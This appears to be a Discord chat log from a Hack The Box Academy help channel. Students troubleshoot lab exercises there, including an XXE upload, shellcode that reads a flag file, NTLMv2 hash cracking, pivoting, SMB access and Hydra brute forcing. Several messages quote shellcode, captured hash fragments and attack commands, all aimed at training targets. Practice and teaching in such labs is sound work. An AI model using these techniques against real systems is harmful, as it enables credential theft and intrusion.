just pth to log in as domain Administrator

[rough acorn]

What is it returning? All I can see is a string of something. An image of some sort?

[cold pendant]

Its returning what i have to it

[rough acorn]

what you have? You mean what you have sent?

[cold pendant]

Becauee its just giving file content of this .svg into IMG tag

[fickle sparrow]

I have some trouble with the WordPress skill Assessment. I am stuck in the question three: submit the contents of the flags file in the directory with directory listing enable I don't understand how to approach this prompt. I already find some directories with owasp, I reviewed each one and did not find the flag.

[cold pendant]

This payload with xxe

[fickle sparrow]

I added the target ip to etc/hosts/ but I can't get this question.

[cold pendant]

But its returning IMG tag with src as this payload content

Not the value payload should return

[fickle sparrow]

Any help will be very appreacite it!

[rough acorn]

so it's essentially just sending back what you have sent?

[cold pendant]

Yes

Its not executing what it should

[rough acorn]

then maybe it's not about reading a file

[cold pendant]

?
W

Wym

[fathom pendant]

he's trying to read the file as PoC that his coding is working

[rough acorn]

Maybe it's executing your command, but maybe it's also not sending back the output

[cold pendant]

How it couls execute it

[rough acorn]

I dunno, you said it should

[cold pendant]

If to execute it you need to make it render

I need to get upload dir

[rough acorn]

yeah, but the output might not be where you expect it

[fathom pendant]

tbh it doesn't sound like you entirely understand what he's trying to do

[rough acorn]

I am not, I am just going off what's he's saying.

[fathom pendant]

then you're not really "helping" if you don't know how to actually fix/push the code in the right direction tbh

[fathom pendant]

can you double check that you've followed the section as it's described?

[rough acorn]

no one is helping him, so I just go off what I know. He very well could be doing the wrong thing. It's just general troubleshooting

[cold pendant]

Wym

Like i dont understand how to make this xxe payload work

And that's why i ask for help

[fathom pendant]

this is from one of the sections in the file uploads module yeah? reread the section, make sure you didn't miss a step

[cold pendant]

Yeah

I checked it

But i know

That it couldnt be run inside img

[thorn urchin]

yes it can

[fathom pendant]

^

[thorn urchin]

depending on the situation

the module specifically covers doing so with svgs for instance

[cold pendant]

Ok but will it also work with PNG signature

I am just wondering isn't that an issue

[thorn urchin]

that I don't recall off the top of my head

[leaden pond]

Thank you very much! Got the flag.

[thorn urchin]

np

dont forget the simple answers haha

[cold pendant]

But can someone give me a hint

I just cannot figure that out

[austere sandal]

cmon 00:01

[kindred sparrow]

Intro to assembly language skill assessment task 2 getting "failed to run shellcode using : global _start
section .text
_start:
; push './flg.txt\x00'
xor sil,sil
push si
mov di, 'xt'
push di ; push NULL string terminator
mov rdi, './flg.txt'
push rdi

; open('rsp', 'O_RDONLY')
mov al, 2 ; open syscall number
mov rdi, rsp ; move pointer to filename
syscall
; read file
lea rsi, [rdi] ; pointer to opened file
mov rdi, rax ; set fd to rax from open syscall
xor al, al ; read syscall number
mov dl, 24 ; size to read
syscall
; write output
mov al, 1 ; write syscall
mov dil, 1 ; set fd to stdout
mov dl, 24 ; size to read
syscall

which produces 4030f6665666bf7874665748bf2e2f666c672e747857b0024889e70f05488d374889c730c0b2180f05b00140b701b2180f05

not sure were I am going wrong

[fathom pendant]

God people need to learn formatting

[kindred sparrow]

Im just a normal person not a God person.

[fathom pendant]

I'm not helping you now out of principle of you being a smartass

https://support.discord.com/hc/en-us/articles/210298617-Markdown-Text-101-Chat-Formatting-Bold-Italic-Underline-

Btw it's more readable if you wrap code statements in ``` before and after

Though since your account is unverified, automod likely will yeet it

[fickle sparrow]

Can someone take a look into my help post regarding wordpress skill assignment?

[cold pendant]

Also can someone help me with file upload skill assesment

@thorn urchin pls i think you can help me with these or atleast give me hint

[latent glen]

Hello everyone. Its becoming really frustrating to work with hashcat. I get exhausted every time.

I am trying to crack a ntlmv2-SSP hash, I have recovered a ocuple of hashes from responder but when I try to crack them I get exhausted. Im not sure if there is a formating error in my hashes or not

but its very annoying

[next bronze]

find directories with with listing enabled and look through them

[next bronze]

if the format is wrong, hashcat will tell you, if you can't crack it with rockyou then it's not supposed to be cracked

[latent glen]

yes that what I thought. But the question is literally asking me to crack one of the hashes I found

[next bronze]

module and section?

you can send the first part of the hash

[latent glen]

LLMNR from Linux, wley::INLANEFREIGHT:cd4d239f7b9778a3:324060F4B57AD6429A212E016F0AC2BE:010100000000000080

first part of the hash this is.. the hash is quite long

[thorn urchin]

Sadly I am incapable of providing advice if I do not know where you're stuck and what youve done or tried.

One day Ill achieve psychic resonance and read minds but I'm not there yet

forgive me for my ineptitude

[latent glen]

ah should I use the /usr/share/responder/logs/ file as source directly into hashcat?

[fathom pendant]

Not necessary

[thorn urchin]

sometimes hashes are long

[latent glen]

it seems to go on longer that way.. when I try it differently it gives me an exhausted messages rather quickly

[fathom pendant]

Hashcat should crack it if you use the ntlmv2 mode

[latent glen]

I am using 5600 which is the correct mode

[next bronze]

are you using rockyou?

[latent glen]

yessir

[thorn urchin]

which module

[swift forge]

Feel like I'm missing something obvious but for the Footprinting lab, but I connect to the FTP server and when enter "ls" it's not loading the file list

[latent glen]

llmnr from linux

[swift forge]

Any help?

[thorn urchin]

llmnr from linux isnt a module

[fathom pendant]

ls -la

[thorn urchin]

which module are you doing

[next bronze]

should be AD

[latent glen]

aight this is driving me wild. Its late, Im going to bed and will try again tomorrow

good night everybody

[swift forge]

Hey Marcie, again another dumb question, when I do that command for some reason it's not showing the name of the directories or files

[fathom pendant]

Skill assessment yeah? Make sure you're on the right port

[swift forge]

Can you specify the port with the "ftp <IP>" command? Netcat times out whenever I try to connect and telnet is not recognizing any of the commands I put in

[fathom pendant]

Yes it's just putting the port after ftp user@ip port

[next bronze]

make sure the password is in one single line

[fickle sparrow]

I think that is my issue I don’t fucking know what is listing enabled

[zenith ginkgo]

Thanks MarcieLee.

[fathom pendant]

For what?

Lmao I don't recall interacting with you

[zenith ginkgo]

The information you are giving is helpful and useful.

[fathom pendant]

¯_(ツ)_/¯

[next bronze]

literally just google wordpress directory listing enabled and look at the images, that's what you should be looking for

[fickle sparrow]

got it, will do. THanks!

[swift forge]

@fathom pendant need help once again, I got into the proxy ftp server, but I cannot for the life of me find the flag.txt file. Looked in all the directories I found and cannot find it at all

[fathom pendant]

Because that might be the start: not the end

Hint: ls -la reveals an important directory

[swift forge]

I've been dooing ls -la to see the file list, and the 2 directories I have gone into didn't have the file

Sorry I'm just having a hard time on this and can't find anything from searching ftp commands

[fathom pendant]

Easy lab, yeah?

[swift forge]

Yes, I'm frusturated because I had no problem with the FTP before but I cannot figure this out at all

[fathom pendant]

ftp ip 2121
username
password
ls -la

It worked for me

If you did username@ip I apologize that was my bad I forgot ftp is dumb that way

[swift forge]

I've been doing exactly that. No file there and then I go into the 2 directories .cache and .ssh and neither one of those has the file either

[fathom pendant]

Think carefully about what you just said

[swift forge]

ls

[fathom pendant]

Like I said ftp isn't the end, it's a step

Do me a favor, just try and ssh into the target and see what that tells you about this info

You figure it out? @swift forge

[swift forge]

So I downloaded the 3 files from the ssh directory, but when I try to ssh in with the keys I'm getting an "Warning: Unprotected Private Key File" message and it denies me

[fathom pendant]

Remember, key files need special perms, also you only need one of those files

[swift forge]

So I believe it is the one with the private key, but I'm not sure how to protect it to use it

[fathom pendant]

chmod NNN file

Remember what the permissions in linux are

[next bronze]

it's december, not NNN anymore

[buoyant escarp]

Module: Pivoting, Tunneling and Port Forwarding
Section: Port Forwarding with Windows Netsh

i rdp`d into the Windows pivot host
i established the port forward

now i try to connect from my attack box through the pivot to the victim, but my connection gets refused.

xfreerdp /v:ip:8080 /u:victor /p:pass@123

i dont know where the fault is

[fathom pendant]

You want it so only the owner can read/write the filr

[swift forge]

So it should just be execute permission correct?

[swift forge]

Should've waited 1 sec lol

[fathom pendant]

Why do you need to execute a key file?

[fathom pendant]

Instead of adding the port to the ip add it with /port:

[buoyant escarp]

nah still

[fathom pendant]

Where are you getting the .150 ip from?

[buoyant escarp]

#modules message

ipconfig in pivot

[fathom pendant]

172.16.5.150

[swift forge]

@fathom pendant finally got it. Thank you again for being a tremendous help.

[fathom pendant]

Ipconfig shows the localhost ips

But that's not how the netsh forward works lol

You're forwarding the request to the next step in the chain

You need the target ip, in this case 172.16.5.19 as indicated by the question to be forwarded to

Had to double check the netsh command: but yeah the command takes the listening port, and forwards it to the specified port and specified system

[buoyant escarp]

damn i need to stop these 2:30 AM sessions xD

yeah got it working thanks

[fathom pendant]

Via the connectport and connectaddress args

:p

[buoyant escarp]

these windows commands annoy me, linux commands are so much cleaner imo

[fathom pendant]

Eh at least you clearly understand what the windows args are

*in most cases

[indigo flax]

Psst. You should checkout ronin-exploits. Much simpler/cleaner syntax for writing exploits than MSF.

[thorn urchin]

Did you just search the server for mentions of ruby so you can respond to a message from yesterday to shill your tool in an academy module discussion channel

[rustic sage]

Hey everyone I'm new to cyber security

In fact I'm new to almost everything

Can I get some help ?

[thorn urchin]

this isnt an introduction channel

read #welcome

[rustic sage]

Doesn't really matter I was just wondering if anyone here can help me at my first steps

[thorn urchin]

It does matter

your first steps is reading #welcome

[rustic sage]

That exactly what I'm saying

Read what ?

[thorn urchin]

I linked it twice

[fathom pendant]

Reading comprehension is an invaluable skill

[thorn urchin]

#welcome

click on it

[hallow kiln]

Maybe third time's the charm

[rustic sage]

Damn 😅
Anyways thank

[fathom pendant]

New to discord and the internet in general it seems

Dec 22 2023 account

[hallow kiln]

But wow, that was really something

[rustic sage]

@thorn urchin dum question
My english isn't my first language soo it's pretty bad
Is there anyway I can change the language or smtn ?

[thorn urchin]

nope its an English only server unfortunately

[hallow kiln]

If you mean of Discord itself, check the settings, you can definitely change it

[rustic sage]

Forget about it
Another question
Is it safe ? Like no virus ? No one trying to hurt me (I literally have nothing) ?

Just wondering

[slender shoal]

This server is English only. Please read #welcome and #rules to get familiar and please use the proper channels to discuss. This is not the proper channel for such discussion 🙂 @rustic sage

[rustic sage]

THANKS!!!

[thorn urchin]

its a public server so no promises on that. But if you do see something suspicious, feel free to report it

[rustic sage]

Alr I guess that all I need for now

See y'all very soon

[indigo locust]

Hello All! Im stuck on following question for "Password Attacks" module:

" Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer."

I'm able to sign in to smb with username and password but none of the commands work for me to find the flag.txt?

[fathom pendant]

Smb is a windows protocol

So dir and type are gonna be your friends for enumerating

[indigo locust]

I have tried both but it seems not to work

Getting this error:
NT_STATUS_ACCESS_DENIED listing *

[fathom pendant]

Then that user can't access smb shares

[rustic sage]

Guys!! Is there any other webs sites that teach hacking expect hackthebox ?

[fathom pendant]

Tryhackme is good for beginners

[rustic sage]

I know about it gimme another one

[inner sand]

Root-me

PicoCTF

pwnable.kr

Offsec Labs ig

[indigo locust]

It worked, I was under wrong user which did not have right credentials to use commands.

[indigo locust]

Thanks for the tip!

[fathom pendant]

This really isn't the chat to discuss other platforms either there is a general chat if you can figure out how to read and follow instructions in #welcome @rustic sage

[tall laurel]

Hi guys,
I retrieved something that contains community string using onesixtyone but am not sure which portion is th actual community string and which portion is not.

/usr/bin/onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp-onesixtyone.txt $target

[heavy marsh]

Trying to complete the rpivot module and I get an error messag when trying the command shown

[lusty thicket]

in the square brackets []

[tall laurel]

tysm!

[surreal nymph]

Hackers , i bought a new acer laptop. It has Nvidia GTX. I was wondering how well Kali /parrot run on Nvidia ? Would love to hear from you guys

Should I use a VM or install it on bare metal?

[thorn urchin]

always use a VM

[fringe sand]

What does the CWEE cert stand for?

[fathom pendant]

CWEE, Certified Web Exploitation Expert

Probably

[fringe sand]

thanks

[fathom pendant]

We won't know for sure until it's released

[heavy marsh]

This one isn't working

It's hanging at the webpage

This is the output of the proxychains command

[rustic sage]

Hey I just finished reading #welcome and #rules

Who are these

[fathom pendant]

Congrats but you didn't follow the instructions in them

[rustic sage]

What ?

[fathom pendant]

There's instructions at the bottom of #welcome to access more of the server

[heavy marsh]

I'm assuming I don't need to do anything with this because there are no creds supplied for NTLM

[fathom pendant]

You need an account on https://app.hackthebox.com

[rustic sage]

It has an app ?

[fathom pendant]

No, app is just the subdomain for the main site

[fickle sparrow]

i got it. thanks! it took me a while :/

[rustic sage]

I guess that's enough for today

See y'all tomorrow

[heavy marsh]

Disregard proxychains issue in my rpivot post, moved to erratum

[tall laurel]

stuck in footprinting-hard lab. I retrieved the private ssh key from pop3 and retreived the dovecot-uidlist which doesn't seem too interseting. Where do I go from now? I made it to this point without a solid comprehension about the scenario given. Can anyone give me a nudge?

[fathom pendant]

dovecot is nothing, you got an ssh key though, look who that's for from the email

[tall laurel]

bob?

[fathom pendant]

Perhaps

[fathom pendant]

But read the email, and who it's for

[heavy marsh]

proxychains4 doesnt work for the rpivot issue either

"proxychains curl 172.16.5.135:80" works though

just gives the source code, but it's easy to find the flag

[hot spire]

I cant find the account authenticator on the home screen of my account

can i dm anyone for help?

[supple sparrow]

does PS Remoting work in a reverse shell

[fathom pendant]

Well it won't be on the "home screen", are you looking at academy or labs

[hot spire]

academy

[fathom pendant]

There isn't one for academy

[hot spire]

oh

[fathom pendant]

It's only on the main platform

(Which is a separate logon for now, until they implement sso)

[hot spire]

when i click on to sign in, it gives the 4 options so I chose academy since I have only made an account for that

[hot spire]

right.. so when i click login should I click on labs instead?

[fathom pendant]

https://app.hackthebox.com

Yes

[hot spire]

and i should mak ea new account like you mentione dabove

[fathom pendant]

Yes, your academy login won't work for main

[hot spire]

can i reuse my email for both>?

[fathom pendant]

Yes

[hot spire]

along with same username

[fathom pendant]

Yes as long as it's not taken on the main site

[hot spire]

alright sounds good, thank you so much

sorry for th barrage of questions, i just joined htb and am learning to navigate through all the materials

[full aspen]

I'm stuck on this as well. Let me know if you figure it out. I have everything but the just get access denied when I try to list \dc01\c$

did you ever figure this out? I'm stuck there also

[manic onyx]

Doing footprinting module rn and on the DNS brute force question trying to find host with octet 203. I am just doing the bash oneliner brute force with dig $sub.inlanefreight.htb @[NS ip]. Is it really just my wordlist or is my query messed up

[lusty thicket]

your query and wordlist is messed up

[manic onyx]

shoot lol

[manic onyx]

I see that the mail1 name server starts with 201. Is the A record for 203 on there? I'm not able to zone transfer anything from it

I guess I assumed that 203 was a name server that was just under a different zone

[heavy marsh]

Seems like I'm not the only one with the firefox proxychains issue. Did some digging on the history and found a couple of posts

I searched "proxychains firefox-esr 172.16.5.135:80" on the discord and found some results with no clear resolution besides just using curl

[lusty thicket]

use the tool dnsenum with the fierce wordlist from seclists

[manic onyx]

This is my exact query dnsenum --dnsserver 10.129.133.80 --enum -p 0 -s 0 -f /usr/share/seclists/SecLists-master/Discovery/DNS/fierce-hostlist.txt inlanefreight.htb, you got something with this?

[lusty thicket]

try with each of the subdomains from your zone transfer result

[manic onyx]

Ah, okay. Thanks

[lusty thicket]

[manic onyx]

Why am I able to query FQDNs of machines inside of the dev subdomain but not the mail1 subdomain, for example? I did a zone transfer for the inlanefreight.htb zone and don't see a NS record for dev.inlanefreight.htb. Does it exist on the name server, but is just in a different zone?

[fathom pendant]

Because it's not configured to allow it, is the short of it

It's also not in that dns zone to allow (if I'm remembering zones right for dns, which I'm probably not)

[acoustic owl]

mail1 is presumably a mail server, i.e. a host, while dev is a separate DNS zone.
The name server responsible for dev is declared in the zone file.

[hazy halo]

I’m trying to deauth my network with aireplay using 2 adapters. I’m not sure why it’s not working? Any advice please

[lusty thicket]

#rules

is it really yours

[fathom pendant]

This isn't the place to ask for assistance with this

[cunning frigate]

Hey at WINDOWS ATTACKS & DEFENSE \ Kerberoasting
I did the attack and the second question wants me to find it from events which is event id 4769 there is not a sign of any logs

[acoustic owl]

Have you logged in to the DC? You need to look at the logs from the DC, not those from the client.

[cunning frigate]

yeah i did rdp as the user given to me

[acoustic owl]

Then carry out the attack again. You should see the entries in the log

[cunning frigate]

alright ill do one more time lets see

i should just rdp to DC1 right?

[sharp nexus]

what does " What is the path to the htb-student's mail?" mean

I can't find any directories that are called "mail"

[acoustic owl]

Yeah, read the logfiles there

[plucky mural]

||environment variables||

[sharp nexus]

didn't realize mail was in env

my bad

[rustic sage]

hi guys whats goin on ?

[fathom pendant]

this isn't a gen chat - read #welcome and follow instructions to gain access to more of the server

[tough prawn]

how much does it coast to get CWEE modules?

[cunning frigate]

still the same i did it 4 times and even changed the machine

god i hate logs and defensive

[iron plaza]

I read in the forums that there is a bit of an technical issue ... some people used the admin hash from previous exercise but even trying that didnt work ... still stuck on it though

[misty current]

#modules message check this message

Only calculation that needs to be modified is that, the price of the advanced cert is not 210$ but it's 318$. That's 108$ more value to the gold annual.

[cunning frigate]

bruh all the time it had space in the front

it does not let me import or do anything

get GPPPassword does not output anythinh

[misty current]

It's a modular script.

Get-GPPPassword

not .\Get-GPPPassword

[cunning frigate]

yeah also the user Exec policy didnt allow it so i changed to htb user

i did modify it but still didnt work but htb-student fixed it

[cunning frigate]

Thanks tho ❤️

[acoustic owl]

The knowledge from CPTS certainly helped me a lot with the attacks.

[cunning frigate]

yeah i am currently doing assignment but after I get my sec+ in jan ill start studing for CPTS

[cunning frigate]

I hove hands on certs more that exams and CPTS OSCP both are good

i just hate windows machines

i can finish linux blind but windows got i hate it

[acoustic owl]

I have not done OSCP and therefore cannot judge it.
If you know the attacks described in the CDSA modules from OSCP, that helps just as much as if you know them from CPTS.
It doesn't really matter where you know them from. But it helps a lot to know the attacks

[acoustic owl]

CDSA is almost only Windows

[cunning frigate]

yeah fs when i study for CPTS ill take notes and stuff currently im getting basics of each tool to survive

[charred echo]

when performing a SSH in HTB academy which password is required when prompted to enter the password?

[cunning frigate]

it should tell you

make sure your vpn is on

[cold pendant]

Ok. So i tried to read /etc/passwd with xxe payload. i discovered that image/svg+xml content type is allowed by server and .svg extension but i need to have a jpg file signature to make it work

But server is returning the same thing i gave to it but in img tag

[lucid sluice]

Why is it that I'm getting a different result from someone that perform the same Nmap scan as me?

I'm doing the firewalls evasion medium lab and I've been stuck on it for 2 days now and decided to look up the the answer. I type the exact command they do the scan went through but I still have no domain.

The question was to determine the domain that is on port 53.
Nmap --script discovery <ip> -T4
I tried all the -T combinations (0 to5) still no domain. 😡🤬

[hallow kiln]

There's really no need to cross-post, the -T will make zero difference to the results, it's just for the speed of the scan, this definitely doesn't look like what I did for that lab, but I don't have my notes in front me, there's so many options Nmap has and you're using almost none of them

[next bronze]

didn't the question ask for dns server version? not sure why you're trying to get the domain. use one of the nmap dns scripts

[lucid sluice]

That was just an explample of what the dude on yt did and he got it right with namp --script discovery -T4 but when I do the same thing after trying so many different other combo . Still not working

[hallow kiln]

It just doesn't make sense for what the question is asking if it really is the DNS server version like Xre0uS said

I also remember I had to do one of those labs in the Pwnbox, it wasn't working from my VM

[next bronze]

yep need pwnbox for this one

[cold pendant]

i discovered where was issue

now its working

[wicked relic]

Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

[bright panther]

I found the DNS server version from NETWORK ENUMERATION WITH NMAP - Medium Lab , but seems to be not correct. Is here any other way?

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sSU -p 53 -D RND: 5 -g 53 --script dns-nsid 10.129.55.216 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 06:53 EST
Nmap scan report for 5 (0.0.0.5)
Host is up (0.0055s latency).

PORT STATE SERVICE
53/tcp filtered domain
53/udp open domain
| dns-nsid:
|_ bind.version: 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.9

[next bronze]

use pwnbox

[bright panther]

Thnx bro, it worked without using the script

[glad condor]

hello, i'm stuck in "password attacks" " network services", i found the user for the smb connexion but when i am connected i can't ls or dir, to find the flag. i have this error "NT_STATUS_ACCESS_DENIED listing *
"

[next bronze]

if you get that means the user does not have rights to read the smb share, try another user/protocol/share

[glad condor]

ok thanks, i found it

[fickle panther]

yo

anyone could help with WINDOWS EVENT LOGS & FINDING EVI

cuz i read it 4 times and didnt understand

[acoustic owl]

What exactly don't you understand?

[pure sorrel]

I'm trying the Web Attacks Skills Assessment, and I am having a lot of difficulty reseting admin password, I keep getting an invalid token. I tried looking at source code to see where the token is generated from but I can't find anything

[tiny reef]

Think about what you learned in the module.. all topics play their role in this assessment.. Sometimes the change of a single word might do the trick

I hope this little hint helps if I am not wrongly remembering this assessment

[cunning frigate]

hey i got a quick question for a chal i gotta rdp from my own to kali then rdp from kali to windows on local network but when i use xfreerdp it cant resolve the local name which is WS001

[dark mason]

hello

[hallow kiln]

What module is this?

[cunning frigate]

Windows Attack and defence - PKI - ESC1

[dark mason]

anybody knows how to hack

[cunning frigate]

no clue whats that

[hallow kiln]

Haven't done the module in question, but have you added the IP to /etc/hosts?

[dark mason]

then whats hack the box

[cunning frigate]

that does not have any ip

[cunning frigate]

jk what do you need

[dark mason]

i want to learn hacking

[hallow kiln]

It can't not have an IP if it's a host you can RDP into

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cunning frigate]

i didnt get that much but would adding it to etc/hosts solve?

[dark mason]

ty

[next bronze]

yes it links a hostname i.e. ws01 to an IP

[dark mason]

u guys know how to hack

a pc

[next bronze]

no

[dark mason]

ok

[cunning frigate]

┌──(root㉿kali)-[/home/kali]
└─# echo "WS001 10.10.10.10" > /etc/hosts

┌──(root㉿kali)-[/home/kali]
└─# su kali
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:bob /p:[PASS] /v:10.10.10.10 /dynamic-resolution
[09:24:41:120] [4738:4739] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[09:24:41:120] [4738:4739] [ERROR][com.freerdp.core] - failed to connect to 10.10.10.10

[hallow kiln]

I suggest you read the #rules, if you want to learn ethical hacking, you're in the right place, if you want someone to hack your ex or something equally dumb, get out

[next bronze]

bro you just overwrote your /etc/hosts

[cunning frigate]

its htb machine its ok

[next bronze]

> and >> are two different things

[dark mason]

i want to learn ethical hacking

[cunning frigate]

yup gotta keep in mind lol

[next bronze]

anyways if you're gonna specify an IP you don't need to add to /etc/hosts, in this case make sure your target is the IP specified, it seems like that host doesn't exist

[hallow kiln]

Then the article on getting started should help, then you can get on HackTheBox Academy

[dark mason]

ok

[cunning frigate]

yeah that was my problem the hostname is given without ip and it is not resolved

[hallow kiln]

Maybe we're missing some context not having done the module, and you're meant to connect a different way, though RDP into it sounds pretty clear to me

Where did you pull the 10.10.10.10 IP from?

[cunning frigate]

random

[hallow kiln]

Then how would that work

[cunning frigate]

idk im desperate to any idea

i even can send the html if you cant access it but i dont see anything else

no ip no a way to connect thats shown just the question is there

[tranquil axle]

Ws001 is 172.16.18.25

The second section of the module has the lab ips listed

[cunning frigate]

yuppp worked thanks

[hallow kiln]

Ah, so just a reading issue lol

[cunning frigate]

probly

it was at diff section

[hallow kiln]

Anything mentioned/found in a module section can and often is relevant later, that can be hostnames, IPs, usernames, passwords

[cunning frigate]

alright thanks guys

[dark mason]

no problem

[plucky mural]

Nice to see theres a terminate machine button now 😅

[flat copper]

On Intro to Assembly, Skill Assessment Task 2, I finally have my code within the required specifications but am still receiving a failed to run shellcode error. I'm not sure if it's the code itself, or the manner in which I am trying to send it, but anyone around to lend a hand??

[next bronze]

you're supposed to send it as shellcode, and debug with gdb to make sure it works

[flat copper]

Ive sent the shellcode directly and tried writing to a bin as well. I dont want to post spoilers so I dont want to say much else, but I'm having absolutely zero luck. Hard stuck for days

[next bronze]

did you run it though gdb to find out what went wrong?

[wooden badger]

Привет всем

[latent glen]

interesting, I did just notice it wasn't, let me try again

[wooden badger]

sorrry

Hi all. Stuck in Introduction to Web Applications module

I can't answer the question..
Check the above login form for exposed passwords. Submit the password as the answer.

Can anyone tell me what needs to be done?

[next bronze]

section?

[next bronze]

oops I meant hash but you got it

[latent glen]

okay, so cracking from /usr/share/responder/logs will be my new standard I think, I just know it will work properly from there and is probably "meant" to be done that way.
BUT
in the end, copying the hash into subl did not cleanly paste everything into one line. Which is irritating. But at least I got it to work now

[next bronze]

are you using tmux?

[latent glen]

I am indeed sir

[next bronze]

sometimes hashes do break for me, I just combine them back, nbd 🤷‍♂️

[next bronze]

yeah tmux copy mode will break long strings into lines

[latent glen]

I did and It worked because it all worked fine on the ssh attack box but on my something was different so it HAD to be the hash not being copied correctly. At least I know that running from /usr/share/responder/logs wont give any of those types of errors. It will either take for ever or get cracked. Nothing in between or hash errors at least

all good. its all working smoothly now

I knew going to sleep would make things better

thank you

[next bronze]

hashcat should throw errors for formatting for most hashes, not sure why it doesn't for ntlmv2

and don't run hashcat in a vm if you are, ntlmv2 shouldn't take long with rockyou

[latent glen]

you recommend me just running hashcat outside the vm?

interesting

[next bronze]

yes, hashcat uses gpu to crack hashes, vms don't have gpu hardware access and will fall back to cpu, that and vm overhead makes it very inefficient to run hashcat in a vm

[latent glen]

what do I have a 4070 for if not to make use of i, will do brother. Thanks for that too

HOOOOLY that was fast

hahahah

[next bronze]

yeah you've been wasting a lot of time not using that

[latent glen]

hahahahah indeeeeeeeeeeeeeeeeeeeeeeeeeed

ey you learn something new everyday.

[buoyant escarp]

rn im doing the Hashcat module, the mask attack is so awesome, just wanna say 😄

[fathom pendant]

it's good if you know the general format of the password

[buoyant escarp]

yes like a reset token or a pw manager uses like from apple xxxxx-xxxxx-xxx and so on

[storm hedge]

Hello
I'm studying the ntlmrelay module with ntlmrelayx.
We can provide multiple targets with the -tf option.
But I don't understand how it operates when multiple targets are provided.
I wasn't able to find info about it

[next bronze]

it just relays the connections to all the targets specified

[storm hedge]

Let's say there are 2 targets and client 1 connects for the first time, it will relay to target 1 and target 2 or just target 1?

[next bronze]

both

usually you target a single vulnerable machine but could be useful to test everything

[storm hedge]

How is it possible when both targets will provide different challenges?

I read the source code, it seems it chooses a new target, the next in the list for every new connection

[next bronze]

https://github.com/fortra/impacket/pull/767

[rough tree]

Hello, someone who did the Injection Attacks accademy(the one from Senior web pentester path) module and what do discuss about the flag in the skills assetment lab?

[storm hedge]

@next bronze thanks a lot.
I didn't know if it as possible or not

[next bronze]

from reading the logs it's one connection multiple targets, I guess whichever connection succeeds it gets relayed back, the target doesn't know which server it's talking ot afterall

[storm hedge]

@next bronze it seems uses SMB reuathtication for this trick

[next bronze]

ah I see

[chilly cosmos]

Hello, if i want to change my nickname do i have to contact an admin.

i see i need permission for that

[autumn pilot]

your nickname is tied to the one you've specified in the registration of your account on hackthebox

[round sable]

Hi, about Attacking Common Applications - Skills Assessment II, trying to find the application password. Couldn't find it with brute force and neither in git.
May I have some help ?

[lusty thicket]

check git again

[round sable]

Can I DM you ? I have access only to public projects in git

[lusty thicket]

register an account and have access to internal projects

[round sable]

Thanks !

[slim oyster]

Hi everyone, I am not able to spawn a target system in my academy modules. Has anyone faced a similar issue?

On clicking "Click to spawn target system", the text changes to "Target is spawning" but then changes back to "Click to spawn target system"

[lusty thicket]

refresh the page nd try again👍

[slim oyster]

I did; cleared the cache and cookies too. Didn't work 😦

[lusty thicket]

strange

[fathom pendant]

change vpn region and try again, i was having issues with us-academy-1 last night (slow connection) switched to 3 and the speed/responsiveness improved 10x

literally had such variable ping, one time was 1.5k response

🙃

[slim oyster]

I did change the VPN but still same behaviour. Although if I see the requests in the network tab, the request for getting the spawned target IP does have the IP in the response. It just doesn't render on the webpage

I checked on a Windows machine and it turns out the behaviour is this on my Linux machine only.
I upgraded my system, and cleared cached and cookies. But just the Linux browsers are facing this problem

[fathom pendant]

i have always used academy from my windows host, linux guest as the attack machine ¯_(ツ)_/¯

i've also had the occasional time of downloading the vpn from linux, but i never bothered to look for that issue

[ocean night]

If it's repeatable I'd recommend raising as a support issue with the team, not heard of this kind of issue recently (excluding infra issues)

Include the module / section / target, browser type and version 🙂

[fathom pendant]

wdym htb infra never has issues

[ocean night]

Also any plugins you have enabled in the browser

I didn't say htb infra never has issues

[fathom pendant]

i meant i'm saying that

[ocean night]

touché

[fathom pendant]

in response to "excluding infra issues"

as i just said a minute ago; US-academy-1 was literally giving me frustratingly unresponsive targets

[next bronze]

it's brave, it's always brave causing problems

[zenith ginkgo]

I recently tried unlocking my first module with the 60 cubes they give you, but it won't unlock

am I missing something or am I being an idiot?

super new to this, and I'm transferring from a combat role in the military so I'm adjusting

[fathom pendant]

disable adblock and pop-up blocker

most common issue

otherwise there's always asking support on the website you're using

😉

[zenith ginkgo]

you're probably right lmao.

[fathom pendant]

probably am

:P even if you think it's disabled (sometimes it's not)

though funny thing is i have adblock running for academy and never had issues: but i guess i'm just speshul

[opaque gale]

Hello,

Kind of a random question, but do certain module questions not necessarily build upon the previous?
For example in "Investigating with Splunk - UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK", can someone tell me if Question 3 is at all related with Question 1 or 2 before it?

Link to the specific module:
https://academy.hackthebox.com/module/218/section/2357

My guess is no as the 1st two are about dumping credentials but the 3rd seems like a different topic - C# Injection/Execute-Assembly
Only asking this because I was not able to find the answer to #3 so I tried to see if I overlooked something from the 1st two questions?

Wish all questions had a Hint button. 🙂

Thanks.

[rough acorn]

I am trying to do some simple exercises in attacking common services and I can't seem to connect to any port with Hydra but it works fine with openssl, nc or telnet. I tried attacking rdp, https and SMTP

I get errors like these

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-23 15:32:53
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 333 login tries (l:1/p:333), ~21 tries per task
[DATA] attacking http-gets://10.129.203.7:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] Could not create an SSL session: error:00000000:lib(0)::reason(0)
[ERROR] Child with pid 5905 terminating, can not connect
[VERBOSE] Disabled child 10 because of too many errors
[VERBOSE] Could not create an SSL session: error:00000000:lib(0)::reason(0)
[ERROR] Child with pid 5896 terminating, can not connect
